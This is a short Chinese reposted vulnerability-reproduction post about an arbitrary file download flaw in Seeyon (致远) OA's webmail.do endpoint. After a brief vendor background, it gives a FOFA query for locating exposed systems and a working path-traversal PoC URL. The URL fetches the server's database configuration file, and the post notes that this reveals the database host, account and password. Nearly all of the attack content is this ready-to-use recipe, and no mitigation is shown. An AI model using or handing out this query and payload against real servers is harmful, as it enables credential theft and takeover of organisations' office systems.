致远OA webmail.do 任意文件下载

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 致远OA webmail.do 任意文件下载

0x01 阅读须知

0x02 漏洞描述

致远OA办公自动化软件，用于OA办公自动化软件的开发销售。2010年，用友致远更名为致远协创。2017年更名为致远互联。北京致远互联软件股份有限公司（简称：致远互联）成立于2002年3月，总部设立在北京，是一家集协同办公产品的设计、研发、销售及服务为一体的企业。致远OA A6-V5 A8-V5 G6存在任意文件下载漏洞，攻击者通过漏洞可以下载任意文件，导致服务器失陷。

0x03 漏洞复现

fofa：app=”致远互联-OA”

1.执行POC，下载数据库配置文件，得到数据库连接地址账户密码

http://{{Hostname}}/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties